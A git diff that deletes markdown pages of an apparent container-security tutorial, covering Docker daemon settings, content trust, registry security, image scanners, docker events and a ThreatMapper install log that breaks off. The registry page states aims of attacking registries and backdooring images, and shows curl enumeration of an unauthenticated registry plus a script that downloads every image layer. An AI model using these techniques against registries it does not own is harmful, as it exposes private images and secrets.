-# Daemon configuration example description (Linux) - - -```bash -{ - "authorization-plugins": [],//access authorization plugin - "data-root": "", //the root directory of docker data persistent storage, the default is /var/lib/docker - "dns": [], //DNS server - "dns-opts": [],//DNS configuration options, such as ports, etc. - "dns-search": [],//DNS search domain name - "exec-opts": [], //execution options - "exec-root": "",//The root directory of the file in the execution state - "experimental": false,//whether to enable experimental features - "features": {},//Enable or disable specific features. Such as: {"buildkit": true} makes buildkit the default docker image builder. - "storage-driver": "",//Storage driver type - "storage-opts": [],//storage options - "labels": [],//key-value pair label docker metadata - "live-restore": true, //whether to keep the container alive when dockerd hangs up (to avoid the container exit caused by the docker service exception) - "log-driver": "json-file",//The driver of the container log - "log-opts": { - "max-size": "10m", - "max-file": "5", - "labels": "somelabel", - "env": "os,customer" - },//Options for container logs - "mtu": 0,//Set container network MTU (Maximum Transmission Unit) - "pidfile": "",//The location of the daemon PID file - "cluster-store": "",//URL of the cluster storage system - "cluster-store-opts": {},//Configure cluster storage - "cluster-advertise": "",//External address name - "max-concurrent-downloads": 3,//Set the maximum concurrency of each pull process - "max-concurrent-uploads": 5,//Set the maximum concurrency of each push process - "default-shm-size": "64M",//Set the default shared memory size - "shutdown-timeout": 15,//Set the shutdown timeout period - "debug": true,//Enable debug mode - "hosts": [],//The listening address of the dockerd daemon process - "log-level": "",//log level - "tls": true, //Enable the Transport Layer Security Protocol TLS - "tlsverify": true, //Enable the transport layer security protocol and verify the remote address - "tlscacert": "",//CA signature file path - "tlscert": "",//TLS certificate file path - "tlskey": "",//TLS key file path - "swarm-default-advertise-addr": "", //swarm external address - "api-cors-header": "",//Set CORS (Cross-origin resource sharing) header - "selinux-enabled": false,//Enable selinux (mandatory access control for users, processes, applications, files) - "userns-remap": "",//Set user/group for user namespace - "group": "", //Docker is in the group - "cgroup-parent": "",//Set the parent class of cgroup of all containers - "default-ulimits": { - "nofile": { - "Name": "nofile", - "Hard": 64000, - "Soft": 64000 - } - },//Set the ulimit of all containers - "init": false,//The container performs initialization to forward signals or control (reap) processes - "init-path": "/usr/libexec/docker-init", //docker-init file path - "ipv6": false,//support IPV6 network - "iptables": false,//Enable firewall rules - "ip-forward": false, //Open net.ipv4.ip_forward - "ip-masq": false,//Enable ip masking (the technology of rewriting the source IP address or destination IP address when the IP packet passes through a router or firewall) - "userland-proxy": false, //userland proxy - "userland-proxy-path": "/usr/libexec/docker-proxy", //userland proxy path - "ip": "0.0.0.0",//Default IP - "bridge": "",//Attach the container to the bridge identifier on the bridge network - "bip": "",//Specify bridge IP - "fixed-cidr": "",//(ipv4) subnetting, that is, limiting the range of ip address allocation to control the network segment to which the container belongs to achieve network access between containers (the same host or between different hosts) - "fixed-cidr-v6": "", //(ipv6) subnetting - "default-gateway": "",//default gateway - "default-gateway-v6": "",//default ipv6 gateway - "icc": false,//Inter-container communication - "raw-logs": false, //raw logs (no color, full timestamp) - "allow-nondistributable-artifacts": [],//Registry warehouse submitted by products that are not distributed externally - "registry-mirrors": [],//registry warehouse mirror acceleration address - "seccomp-profile": "", //seccomp configuration file - "insecure-registries": [],//Configure non-https registry address - "no-new-privileges": false, //Disable new privileges - "default-runtime": "runc", //OCI alliance (The Open Container Initiative) default runtime environment - "oom-score-adjust": -500,//Priority of memory overflow being killed (-1000~1000) - "node-generic-resources": ["NVIDIA-GPU=UUID1", "NVIDIA-GPU=UUID2"],//Resource nodes announced to the public - "runtimes": { - "cc-runtime": { - "path": "/usr/bin/cc-runtime" - }, - "custom": { - "path": "/usr/local/bin/my-runc-replacement", - "runtimeArgs": [ - "--debug" - ] - } - },//Runtime - "default-address-pools": [ - {"base":"172.80.0.0/16","size":24}, //Default dhcp assigned address - {"base":"172.90.0.0/16","size":24} - ] -} - -``` diff --git a/content/en/containersecurity/b22.DCT.md b/content/en/containersecurity/b22.DCT.md deleted file mode 100644 index 2e476f1..0000000 --- a/content/en/containersecurity/b22.DCT.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: "Content Trust and Integrity checks" -slug: "Content-Trust-and-Integrity-checks" ---- - - -Content Trust and Integrity checks - -Docker Content Trust (DCT) makes it simple and easy to verify the integrity and the publisher of images that you download and run. This is especially important when pulling images over untrusted networks such as the internet. - - -```bash -docker trust key generate sangam -Generating key for sangam... -Enter passphrase for new nigel key with ID 1f78609: -Repeat passphrase for new nigel key with ID 1f78609: -Successfully generated and loaded private key.... public key available: /root/sangam.pub - - -``` - -```bash -$ docker trust signer add --key sangam.pub sangam sangam14/dct -Adding signer "nigel" to sangam14/dct... -Initializing signed repository for sangam/dct... -Enter passphrase for root key with ID aee3314: -Enter passphrase for new repository key with ID 1a18dd1: -Repeat passphrase for new repository key with ID 1a18dd1: -Successfully initialized "sangam14/dct" -Successfully added signer: nigel to sangam14/dct -``` - -```bash -docker trust sign sangam14/dct:signed - -docker trust inspect sangam14/dct:signed --pretty -``` - -# Enabling DCT - - -```bash -$ export DOCKER_CONTENT_TRUST=1 - -``` - -# verify the image - - -```bash -docker image pull sangam14/dct:unsigned -No valid trust data for unsigned -``` \ No newline at end of file diff --git a/content/en/containersecurity/b23.docker-registry.md b/content/en/containersecurity/b23.docker-registry.md deleted file mode 100644 index 07da913..0000000 --- a/content/en/containersecurity/b23.docker-registry.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: "Docker Registry security configurations " -slug: "Docker-Registry-security-configurations" ---- - -What will you learn? - -- InteractIing with insecure registry with curl -- -Fetching images using curl and analyzing image layers -Attacking protected Docker registry -Backdooring images and leveraging auto-deployment mechanisms to attack Docker host - - -# Intracting with Insecure Registry - -```bash -[node1] (local) root@192.168.0.18 ~ -$ docker run -d \ - -p 5000:5000 \ - --name registry \ - -v /registry/data:/var/lib/registry \ - --restart always \ - registry:2 -Unable to find image 'registry:2' locally -2: Pulling from library/registry -ca7dd9ec2225: Pull complete -c41ae7ad2b39: Pull complete -1ed0fc8a6161: Pull complete -21df229223d2: Pull complete -626897ccab21: Pull complete -Digest: sha256:ce14a6258f37702ff3cd92232a6f5b81ace542d9f1631966999e9f7c1ee6ddba -Status: Downloaded newer image for registry:2 -729cabb707e247e548ff84aa096c03e922e39e78bbe3c65753478305575576a6 - - -``` - -check - -``` bash -[node1] (local) root@192.168.0.18 ~ -$ docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -729cabb707e2 registry:2 "/entrypoint.sh /etc…" 11 seconds ago Up 10 seconds 0.0.0.0:5000->5000/tcp registry - -``` - -pull image from docker hub and push to local registry - -```bash -[node1] (local) root@192.168.0.18 ~ -$ docker pull alpine:3.6 -3.6: Pulling from library/alpine -5a3ea8efae5d: Pull complete -Digest: sha256:66790a2b79e1ea3e1dabac43990c54aca5d1ddf268d9a5a0285e4167c8b24475 -Status: Downloaded newer image for alpine:3.6 -docker.io/library/alpine:3.6 -``` -push to local registry - -```bash -[node1] (local) root@192.168.0.18 ~ -$ docker tag alpine:3.6 localhost:5000/alpine:3.6 -[node1] (local) root@192.168.0.18 ~ -$ docker push localhost:5000/alpine:3.6 -The push refers to repository [localhost:5000/alpine] -721384ec99e5: Pushed -3.6: digest: sha256:36c3a913e62f77a82582eb7ce30d255f805c3d1e11d58e1f805e14d33c2bc5a5 size: 528 - -``` -remove image from local docker host - -```bash -[node1] (local) root@192.168.0.18 ~ -$ docker image remove localhost:5000/alpine:3.6 -Untagged: localhost:5000/alpine:3.6 -Untagged: localhost:5000/alpine@sha256:36c3a913e62f77a82582eb7ce30d255f805c3d1e11d58e1f805e14d33c2bc5a5 -``` -pull new image from local registry - -```bash -[node1] (local) root@192.168.0.18 ~ -$ docker pull localhost:5000/alpine:3.6 -3.6: Pulling from alpine -Digest: sha256:36c3a913e62f77a82582eb7ce30d255f805c3d1e11d58e1f805e14d33c2bc5a5 -Status: Downloaded newer image for localhost:5000/alpine:3.6 -localhost:5000/alpine:3.6 -[node1] (local) root@192.168.0.18 ~ -``` - -```bash -curl -s http://localhost:5000/v2/_catalog -{"repositories":["alpine"]} -ubuntu $ nmap -p 5000 localhost -Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-07 23:45 UTC -Nmap scan report for localhost (127.0.0.1) -Host is up (0.000064s latency). - -PORT STATE SERVICE -5000/tcp open upnp - -Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds -``` - -# Fetching images using curl and analyzing image layers - -```bash -ubuntu $ curl -s http://localhost:5000/v2/alpine/tags/list -{"name":"alpine","tags":["3.6"]} - -``` -/_catalog endpoint returns a list of repositories available in the registry. - -```bash -ubuntu $ curl -s http://localhost:5000/v2/alpine/manifests/3.6 - - - - -```bash - -{ - "schemaVersion": 1, - "name": "alpine", - "tag": "3.6", - "architecture": "amd64", - "fsLayers": [ - { - "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4" - }, - { - "blobSum": "sha256:5a3ea8efae5d0abb93d2a04be0a4870087042b8ecab8001f613cdc2a9440616a" - } - ], - "history": [ - { - "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:143f9315f5a85306192ccffd37fbfa65db21f67aaa938c2538bd50f52123a12f\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container\":\"fd086f4b9352674c6a1ae4d02051f95a4e0a55cda943c5780483938dedfb2d8f\",\"container_config\":{\"Hostname\":\"fd086f4b9352\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"/bin/sh\\\"]\"],\"ArgsEscaped\":true,\"Image\":\"sha256:143f9315f5a85306192ccffd37fbfa65db21f67aaa938c2538bd50f52123a12f\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-03-07T22:20:00.563496859Z\",\"docker_version\":\"18.06.1-ce\",\"id\":\"baaf9c1caf4fb211f173d053029997dcfade0644ac354c8a068e4ebf23fcf1c5\",\"os\":\"linux\",\"parent\":\"5d8f720b0ab2b92a29a7e338aa90cad32dac2bf6518c7aae5844aab896ee36ec\",\"throwaway\":true}" - }, - { - "v1Compatibility": "{\"id\":\"5d8f720b0ab2b92a29a7e338aa90cad32dac2bf6518c7aae5844aab896ee36ec\",\"created\":\"2019-03-07T22:20:00.434038891Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:9714761bb81de664e431dec41f12db20f0438047615df2ecd9fdc88933d6c20f in / \"]}}" - } - ], - "signatures": [ - { - "header": { - "jwk": { - "crv": "P-256", - "kid": "AHL3:52R5:PMFF:XHCJ:VYKX:OOEL:IUGD:JPPY:CLW4:HBE3:PSWY:CT6H", - "kty": "EC", - "x": "nsfDpo11GTUjCyx98IT4s4VJqns97kipPMB_nU-3JCs", - "y": "eaFL1-YY16GBI31WV-FgjRp6C-koWvsUqjJRFknMjDM" - }, - "alg": "ES256" - }, - "signature": "48-BseaiWn17IyGHwsEGnxCUxnkAyI8fmMIFP3Ry2mDF5o23dQiDMPcbH62ik2mNAxmWA5-yKrBtjTuIn5FXAw", - "protected": "eyJmb3JtYXRMZW5ndGgiOjIxMzAsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMy0wMS0wOFQwMDowMTozMFoifQ" - } - ] -} - -``` - - -```bash - -#!/bin/bash - -# Download all the fsLayers from the remote registry using curl command -# Usage: ./download.bash http://registry:5000 image [tag] - -URL="$1" -IMAGE="$2" -TAG="${3:-latest}" - -BLOBS=( $(curl "$URL/v2/$IMAGE/manifests/$TAG" -s | python -m json.tool | grep blobSum | cut -d '"' -f 4) ) - -for ((idx = 0 ; idx < ${#BLOBS[@]}; idx++)); do - BLOB=${BLOBS[$idx]} - SUMIDX=$(($idx + 1)) - DIR="$PWD/$IMAGE/$SUMIDX" - rm -rf "$DIR" ; mkdir -p "$DIR/fs" - - curl -s "$URL/v2/$IMAGE/blobs/$BLOB" -o "$DIR/layer.tar" - tar xf "$DIR/layer.tar" -C "$DIR/fs" -done -``` - diff --git a/content/en/containersecurity/b24.dockerscan.md b/content/en/containersecurity/b24.dockerscan.md deleted file mode 100644 index c036727..0000000 --- a/content/en/containersecurity/b24.dockerscan.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: "DockerScan" -slug: "dockerscan" ---- - -# DockerScan - - -Docker Scan Support actions for docker registory scanning , image analysis and image meta information exaction to look for password , URL/ IP etc in the envirmonment variavle and any kind of sudo call by user - - -1. create a directory for this - -``` -$ sudo mkdir dockersec-2 -$ cd dockersec-2 - -``` -check pyhon version which mustt be greater then 3.5 and must have pip installed - -``` -$ python3 --version -``` -``` -$ sudo apt install python3-pip -$ which pip3 -`` - -Install Dockerscan with pip3 - -``` -$ sudo /user/bin/pip3 install dockerscan - -``` - -pull the ngnix docker image from dockerhub - -``` -$ sudo docker pull ngnix -``` - - save the docker image using docker save - -``` -$ sudo docker save ngnix -o ng-orig -$ ls -``` - -scan the image - -``` - -sudo dockerscan image info ng-orig - -``` - -as we can see the information reveals the CMD runs , ENV variable , exposed ports etc - \ No newline at end of file diff --git a/content/en/containersecurity/b25.Dive.md b/content/en/containersecurity/b25.Dive.md deleted file mode 100644 index 5396f3a..0000000 --- a/content/en/containersecurity/b25.Dive.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: " Dive " -slug: "dive" ---- - -# Dive - - -* Ubuntu /Debian - -```bash -wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb sudo apt install ./dive_0.9.2_linux_amd64.deb -``` - -* RHEL/CemtOS - -```bash -curl -OL https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.rpm rpm -i dive_0.9.2_linux_amd64.rpm - -``` - -* Arch Linux - -```bash -ay -S dive - -``` - -Mac OS X - -```bash -brew install dive - -``` - -# How to use Dive - -To analyze a Docker image simply run dive with an image tag/id/digest: - -```bash - -$ dive -``` - -or if you want to build your image then jump straight into analyzing it: - -```bash -$ dive build -t -``` - -example ngnix image - -![](./images/dive.png) - - -another tool that make this all more easy - -https://github.com/prakhar1989/dive-in - -![](./images/1.png) - -![](./images/2.png) - - -# recommanded tool slim.ai - - -Remove friction by securing your software supply chain with optimized containers specific to your application needs, while automatically reducing vulnerabilities in the process. - - -https://slim.ai/ - -portal.slim.ai - diff --git a/content/en/containersecurity/b26.docker-events.md b/content/en/containersecurity/b26.docker-events.md deleted file mode 100644 index 0231c88..0000000 --- a/content/en/containersecurity/b26.docker-events.md +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: "Docker events" -slug: "docker-events" ---- - -# Docker events - -Docker events describe the activities taken by your Docker daemon. Most interactions with objects such as containers, images, volumes, and networks record an event, creating a log that you can use to inspect past changes. - -There are many different kinds of event that identify specific changes in your environment: - -- Creating and removing containers -- Container health check statuses -- Commands executed inside containers with docker exec -- Pulling and pushing images -- Creating, destroying, mounting, and unmounting volumes -- Enabling and disabling Docker daemon plugins - -``` -$ docker run --rm hello-world - -``` - - -Several events should now appear in the terminal window that’s running the docker events command: - -``` -$ docker events -2022-05-31T15:20:00.267970018+01:00 image pull hello-world:latest (name=hello-world) -2022-05-31T15:20:00.347054862+01:00 container create 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 (image=hello-world, name=nifty_morse) -2022-05-31T15:20:00.347805277+01:00 container attach 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 (image=hello-world, name=nifty_morse) -2022-05-31T15:20:00.621070053+01:00 container start 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 (image=hello-world, name=nifty_morse) - -``` - -Each event displays on its own line. The event timestamp is displayed first, followed by the type of object affected (such as image or container) and then the action that was taken (like create, attach, and start). The remainder of the message contains useful metadata about the object. The example above reveals that the hello-world:latest image was pulled and a container created from it. - -Formatting Output - -The raw event list is often unwieldy. You can reformat the output using the --format flag which accepts a Go template string: - - -``` -$ docker events --format '{{ .Time }} {{ .Action }} {{ .Type}} {{ .ID }}' - -``` - - -Running this example will produce output that looks like this: - - -``` -1654006800 pull image hello-world:latest -1654006800 create container 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 -1654006800 attach container 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 -1654006800 start container 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 - -``` - -You can get events represented as JSON objects by using {{ json . }} as your template string: - -``` -$ docker events --format '{{ json . }}' | jq -{ - "status": "create", - "id": "4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378", - "from": "hello-world", - "Type": "container", - "Action": "create", - "Actor": { - "ID": "4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378", - "Attributes": { - "image": "hello-world", - "name": "nifty_morse" - } - }, - "scope": "local", - "time": 1654006800, - "timeNano": 1654006800347054800 -} - - -``` - -## Filtering Events - -``` - -docker events --filter type=container //Get all events that relate to containers. -docker events --filter event=create // Get container creation events. -docker events --filter container=demo-container –// Get all the events saved for the container called demo-container (you can reference the container’s ID or name). - -``` -Besides container, you can filter by all supported object type names such as image, network, and volume. - -Multiple filters are supported when you repeat the --filter flag. Distinct filters are interpreted as logical AND conditions; multiple uses of the same filter become OR clauses. Here’s an example which surfaces the create event for both the app-container and api-container containers: - -``` -$ docker events \ - --filter container=app-container - --filter container=api-container - --filter event=create - -``` - -## Accessing Historical Events - -docker events defaults to only showing events stored since the command’s been running. You can include historical events by adding the --since flag. This accepts a human-readable time expression or an absolute timestamp: - -``` - -$ docker events --since 1h -$ docker events --since '2022-06-01T16:00:00' -``` - -Events recorded after the given time will immediately be shown in your terminal. New events will continue to show up in real-time as they’re recorded. - -You can exclude events after a particular time with the --until flag. It works similarly to --since. Using --until will disable real-time streaming of new events because they’d fall outside the requested timeframe. - -## Streaming Docker Events From the Daemon REST API - -Another way to access stored events is through the Docker daemon REST API. You can use the /events endpoint to stream events in real-time after you’ve enabled the API on your Docker host. Events will be returned in JSON format: - -``` -$ curl http://127.0.0.1:2375/v1.41/events -{ - "Type": "container", - "Action": "create", - "Actor": { - "ID": "4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378", - "Attributes": { - "image": "hello-world", - "name": "nifty_morse" - } - }, - "scope": "local", - "time": 1654006800, - "timeNano": 1654006800347054800 -} -``` - -The API endpoint supports filter, since, and until parameters that have the same behaviors as their CLI counterparts. Here’s how to retrieve all container creation events recorded in the past hour: - -``` - -$ curl http://127.0.0.1:2375/v1.41/events?since=1h&filters={'type':'container','action':'create'} - - -``` - -## Sending Events to an External Service - -Docker lacks a built-in way to send events to an external service. This could be useful if you want all your container creations to be logged in an existing monitoring or auditing platform. - -You can set up your own solution by creating a system service that continually runs docker events. It should send each new line of output to your external system. - -First write a Bash script that implements the functionality you need: - -``` -#!/bin/bash -docker events --format '{{ .Time }} {{ .Action }} {{ .Type }} {{ .ID }}' | while read event -do - curl \ - -X POST \ - -H "Content-Type: application/json" \ - -d '{"event": "$event"}' \ - https://example.com/events -done - -``` - -Now create a new systemd service unit at `/etc/systemd/system/docker-events.service`: - -``` -[Unit] -Description=Custom Docker Event Monitoring Service - -[Service] -Type=forking -ExecStart=/usr/local/bin/docker-events.sh - -[Install] -WantedBy=multi-user.target - -``` - -Finally reload systemd to load your service, then start and enable the unit: - -``` -$ sudo systemctl daemon-reload -$ sudo systemctl start docker-events -$ sudo systemctl enable docker-events - -``` - - -## Docker events commands example - -Listening for Docker events - -``` -$ docker events -``` -Listening for events since a given date -``` -$ docker events --since '2015-01-28' -$ docker events --since '3m' -``` -Listening for Docker events based on filter -``` -$ docker events --filter 'type=container' --format 'Type={{.Type}} Status={{.Status}} ID={{.ID}}' -$ docker events --filter 'event=stop' -$ docker events --filter 'image=ubuntu-1:14.04' -$ docker events --filter 'container=7805c1d35632' -$ docker events --filter 'container=7805c1d35632' --filter 'container=4386fb97867d' -$ docker events --filter 'container=7805c1d35632' --filter 'event=stop' -$ docker events --filter 'type=volume' -$ docker events --filter 'type=network' -$ docker events --filter 'type=plugin' (experimental) -``` -Listening for Docker events based on format -``` -$ docker events --format '{{json .}}' -``` \ No newline at end of file diff --git a/content/en/containersecurity/b27.ThreatMapper-app.md b/content/en/containersecurity/b27.ThreatMapper-app.md deleted file mode 100644 index a870a4a..0000000 --- a/content/en/containersecurity/b27.ThreatMapper-app.md +++ /dev/null @@ -1,611 +0,0 @@ ---- -title: "Scanning Docker for vulnerabilities with ThraetMappeper " -slug: "Scanning-Docker-for-vulnerabilities-with-ThraetMappeper" ---- - -Orignally published on [CloudNativeFolks]() - -`ThreatMapper` - -ThreatMapper hunts for threats in your production platforms, and ranks these threats based on their risk-of-exploit. It uncovers vulnerable software components, exposed secrets and deviations from good security practice. ThreatMapper uses a combination of agent-based inspection and agent-less monitoring to provide the widest possible coverage to detect threats. - -[![Readme Card](https://github-readme-stats.vercel.app/api/pin/?username=deepfence&repo=Threatmapper)](https://github.com/deepfence/Threatmapper) - -ThreatMapper carries on the good 'shift left' security practices that you already employ in your development pipelines. It continues to monitor running applications against emerging software vulnerabilities and monitors the host and cloud configuration against industry-expert benchmarks. - -The ThreatMapper Management Console is a container-based application that can be deployed on a single docker host or in a Kubernetes cluster. - -# What exactly this management console useful for you? - -* Topology-based learning of your live infrastructure - - ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720063844/e189658b-8bdf-4ede-a19f-ce04cf8b089e.png) - - -* Identify Threats and Vulnerabilities and generate SBOM (software bill of material ) - - -* ThreatGraph visualization, you can then identify the issues that present the greatest risk to the security of your applications, and prioritize these for planned protection or remediation. - - ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720087970/619f0c7e-d251-4934-b165-6157cb3f3730.png ) - - -* Manage the users who can access the console. - -* Configure Infrastructure API access and interrogate platform configurations. - -* Visualize and drill down into Kubernetes clusters, virtual machines, containers and images, running processes, and network connections in near real-time. - -* Invoke vulnerability scans on running containers and applications and review the results, ranked by the risk of exploit. - -* Invoke compliance scans on infrastructure configuration ('agentless') and on infrastructure hosts ('agent-based), - manually or automatically when they are added to a cluster. - -* Scan container registries for vulnerabilities, to review workloads before they are deployed. - -* Scan image builds during the CI/CD pipeline, supporting CircleCI, Jenkins, and GitLab. - - ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720117091/e979935e-efa6-41b6-8a9d-75c08eb78771.png) - -* Scan containers and host filesystems for unprotected secrets, including access tokens, keys and passwords. - -* Configure integrations with external notification, SIEM and ticketing systems, including Slack, PagerDuty, Jira, Splunk, ELK, Sumo Logic, and AWS S3. ThreatMapper supports multiple production deployments simultaneously so that you can visualize and scan workloads across a large production estate. - - -in a short one-stop solution for your cloud-native security issues! and it's 100% open source - -login to AWS account:- console.aws.amazon.com - -## Deploy ThreatMapper Console using Docker Compose on Linux VM using AWS EC2 - -* Create Ubuntu Instance on AWS EC2 - - ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720154113/3f081a20-b6ce-4813-8673-17d3c9abe78e.png) - - -select instance type as per requirements - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720172313/ad01eb1e-b960-42e2-a317-dcefc1df36d5.png ) - -Click on the launch instance - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720215112/24a709fc-590c-4070-9e71-01dc27bb61b4.png ) - -hurry! - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720236656/29ee7c7d-20b6-4a3d-a16e-4b85e169d8a8.png ) - -access AWS instance using CLI - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720271742/4b073e41-046e-4a25-9fba-bcbc446f397b.png ) - -![](https://cdn.hashnode.com/res/hashnode/image/upload/v1671720285296/ac528a2e-54df-4ef9-98b8-2d2d0d292c22.png ) - -```rust -sudo apt install -y apt-transport-https ca-certificates curl software-properties-common -Reading package lists... Done -Building dependency tree... Done -Reading state information... Done -ca-certificates is already the newest version (20211016). -ca-certificates set to manually installed. -software-properties-common is already the newest version (0.99.22.3). -software-properties-common set to manually installed. -The following additional packages will be installed: - libcurl4 -The following NEW packages will be installed: - apt-transport-https -The following packages will be upgraded: - curl libcurl4 -2 upgraded, 1 newly installed, 0 to remove and 76 not upgraded. -Need to get 485 kB of archives. -After this operation, 169 kB of additional disk space will be used. -Get:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 apt-transport-https all 2.4.8 [1506 B] -Get:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 curl amd64 7.81.0-1ubuntu1.6 [194 kB] -Get:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 libcurl4 amd64 7.81.0-1ubuntu1.6 [290 kB] -Fetched 485 kB in 0s (11.0 MB/s) -Selecting previously unselected package apt-transport-https. -(Reading database ... 63926 files and directories currently installed.) -Preparing to unpack .../apt-transport-https_2.4.8_all.deb ... -Unpacking apt-transport-https (2.4.8) ... -Preparing to unpack .../curl_7.81.0-1ubuntu1.6_amd64.deb ... -Unpacking curl (7.81.0-1ubuntu1.6) over (7.81.0-1ubuntu1.4) ... -Preparing to unpack .../libcurl4_7.81.0-1ubuntu1.6_amd64.deb ... -Unpacking libcurl4:amd64 (7.81.0-1ubuntu1.6) over (7.81.0-1ubuntu1.4) ... -Setting up apt-transport-https (2.4.8) ... -Setting up libcurl4:amd64 (7.81.0-1ubuntu1.6) ... -Setting up curl (7.81.0-1ubuntu1.6) ... -Processing triggers for man-db (2.10.2-1) ... -Processing triggers for libc-bin (2.35-0ubuntu3.1) ... -Scanning processes... -Scanning linux images... - -Running kernel seems to be up-to-date. -``` - -# Install docker - -```rust -curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - -sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable" -apt-cache policy docker-ce -sudo apt install -y docker-ce -Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)). -OK -Repository: 'deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable' -Description: -Archive for codename: focal components: stable -More info: https://download.docker.com/linux/ubuntu -Adding repository. -Press [ENTER] to continue or Ctrl-c to cancel. -Found existing deb entry in /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list -Adding deb entry to /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list -Found existing deb-src entry in /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list -Adding disabled deb-src entry to /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list -Hit:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease -Hit:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates InRelease -Hit:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports InRelease -Hit:4 https://download.docker.com/linux/ubuntu focal InRelease -Hit:5 http://security.ubuntu.com/ubuntu jammy-security InRelease -Reading package lists... Done -W: https://download.docker.com/linux/ubuntu/dists/focal/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details. -docker-ce: - Installed: 5:20.10.21~3-0~ubuntu-focal - Candidate: 5:20.10.21~3-0~ubuntu-focal - Version table: - *** 5:20.10.21~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 100 /var/lib/dpkg/status - 5:20.10.20~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.19~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.18~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.17~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.16~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.15~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.14~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.13~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.12~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.11~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.10~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages - 5:20.10.9~3-0~ubuntu-focal 500 - 500 https://download.docker.com/linux/ubuntu focal/stable 